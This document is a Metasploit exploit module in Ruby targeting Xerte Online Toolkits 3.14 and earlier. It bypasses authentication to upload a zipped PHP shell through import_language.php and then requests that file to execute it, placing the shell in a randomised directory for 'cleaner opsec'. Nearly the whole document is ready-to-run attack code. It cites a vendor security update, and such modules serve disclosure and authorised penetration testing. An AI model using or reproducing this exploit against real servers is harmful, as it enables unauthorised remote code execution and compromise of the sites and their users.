Xerte Online Toolkits 3.14 Import Language Shell Upload
##
# This module Xerte Online Toolkits 3.14 Import Language Shell Upload
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Import Language',
'Description' => %q{
This module exploits an authentication bypass allowing arbitrary
file upload in versions 3.14 and earlier to upload and execute a shell.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Lester',
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
]
)
end
def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
if res&.code == 200
if res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def http_send_command(_cmd)
print_status("Calling shell at #{target_uri.path}/#{shell_location}/#{php_filename}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/#{shell_location}/#{php_filename}")
})
res
end
def upload_payload_zip
zip = Rex::Zip::Archive.new
# add the payload to the zip archive, under a pre-defined location.
# this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
# This has the added benefit of not needing to worry about the .htaccess restrictions.
zip.add_file("#{shell_location}/#{php_filename}", payload.encoded)
# add the zip archive to the post request
mime = Rex::MIME::Message.new
mime.add_part(zip.pack, 'application/zip', 'binary',
%(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
register_dirs_for_cleanup("../#{shell_location}")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php'),
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
end
def exploit
upload_payload_zip
print_status('Uploaded the zip')
http_send_command(payload.encoded)
end
def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end
def shell_location
@shell_location ||= Rex::Text.rand_text_alpha(8) + 'languages'
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + 'languages.zip'
end
end